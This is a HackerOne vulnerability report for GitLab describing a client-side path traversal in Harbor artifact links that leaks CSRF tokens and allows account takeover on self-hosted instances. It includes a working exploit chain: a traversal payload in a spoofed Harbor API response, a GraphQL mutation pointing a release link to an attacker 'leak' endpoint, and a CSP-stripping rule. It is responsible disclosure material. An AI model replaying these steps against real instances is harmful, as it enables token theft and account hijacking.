CSPT in Harbor artifact links lead to CSRF token leakage and ATO on selfhosted instances
HackerOne report #2666341 by joaxcar
on 2024-08-16, assigned to @cmaxim:
Report | Attachments | How To Reproduce
Report
Summary
Its possible to leak a CSRF token through a Client side path traversal (CSPT)
if the victim click a link generated by a spoofed Harbor server.
Given an API response like this
[
{
"artifact_count": 1,
"creation_time": "2024-08-09T15:07:53.614Z",
"id": 5,
"name": "project1/..\\..\\..\\project2",
"project_id": 11,
"pull_count": 2,
"update_time": "2024-08-10T03:16:28.464Z"
}
]
When visiting /-/harbor/repositories/
will result in a link that, when clicked will trigger this code snippet
export function getHarborArtifacts({ requestPath, repoName, limit, page, sort, search = '' }) {
const url = buildApiUrl(HARBOR_ARTIFACTS_PATH)
.replace('/:request_path', requestPath)
.replace(':repo_name', repoName);
return axios.get(url, {
params: {
limit,
page,
search,
sort,
},
});
}
And the GET
request will end up three levels down in the URL due to the traversal. The repoName
needs to be URL encoded.
As this request is made using axios
it will contain a x-csrf-token
header. This does not make much difference for requests on the Gitlab domain as GET
requests are seldom state changing.
However, axios
is using fetch
and when fetch
encounters a redirect it will also redirect any special headers to the new location. This can be abused using permanent release links .
Creating a release redirect and then pointing the GET
request to that endpoint will leak the x-csrf-token
to an external site (this is blocked on gitlab.com by the connect-src
CSP but works on self hosted).
With the CSRF token the attacker server can then make any requests towards the gitlab
Steps to reproduce
Note that I am just spoofing some endpoints here, a real attack could just relay all other traffic to a proper Harbor server making everything else work as normal for the user
Simple version (this one will need you to use my server)
- Create a new group and a project in that group
- Go to
https://gitlab.com/groups/GROUPNAME/-/settings/integrations/harbor/edit
- Add
http://137.184.41.210
as the URL, add a name, username and a 8 letter password - Now go to https://gitlab.com/GROUPNAME/PROJECTNAME/-/releases and create a new release
- Fill in a new tag called
test
and anything as the title. Then click create - Now go to https://gitlab.com/-/graphql-explorer and put this in the query area
mutation createReleaseAssetLink($input: ReleaseAssetLinkCreateInput!) {
releaseAssetLinkCreate(input: $input) {
errors
__typename
}
}
put this in the variables area (replace GROUPNAME/PROJECTNAME
)
{
"input": {
"projectPath": "GROUPNAME/PROJECTNAME",
"tagName": "test",
"name": "x",
"url": "https://regal-childlike-caper.glitch.me/leak",
"linkType": "PACKAGE",
"directAssetPath": "/test"
}
- Send the request, now you should be able to access your script through `https://gitlab.com/GROUPNAME/PROJECTNAME/-/releases/test/downloads/test
- Go to
https://regal-childlike-caper.glitch.me/start?target=GROUPNAME/PROJECTNAME?email=attacker@example.com
replacingGROUPNAME/PROJECTNAME
andemail
- On the site click the link to gitlab
- On the gitlab page that opens up click the artifact link
- Wait about 3 seconds
- Go to https://gitlab.com/-/profile/emails and you should now have an attacker controlled email on your account (click remove to remove the email)
SAFE: self hosted
The code for the attacker page is here: https://glitch.com/edit/#!/regal-childlike-caper. Make a remix or copy it somewhere else to replicate it. But it does not do anything special just using the two parameters from step 12
To host the spoofed Harbor instance http://137.184.41.210
host this Python server somewhere
Its possible to test the POC on gitlab.com if you use a rewrite rule that removes the CSP:
-
^Content\-Security\-Policy.*$
to empty string (regexp match) The first one will enable the UI on Gitlab.com and the second one will remove the CSP mimicking the defaults on self hosted servers
Video POC
Screen_Recording_2024-08-16_at_11.47.16.mov
Impact
Leaking CSRF token on self hosted instances that leads to full CSRF possible to perform an ATO adding an attacker email to victim account.
Its a bit hard to asses this with CVSS, I understand if its put as C
and I
Low
as with no CSP XSS.
If you alter the other parameters too much, it gets really low, and it's still an ATO on self-hosted instances, so I hope you can take that into consideration when assessing complexity
and scope,
for example.
It would, for example, be possible to abuse a compromised Harbor server without any prior access to the GitLab instance.
What is the current bug behavior?
Path traversal in the artifact links
What is the expected correct behavior?
Artifact links should not be able to have path traversals.
Impact
Leaking CSRF token on self hosted instances that leads to full CSRF possible to perform an ATO adding an attacker email to victim account
Attachments
Warning: Attachments received through HackerOne, please exercise caution!
How To Reproduce
Please add reproducibility information to this section: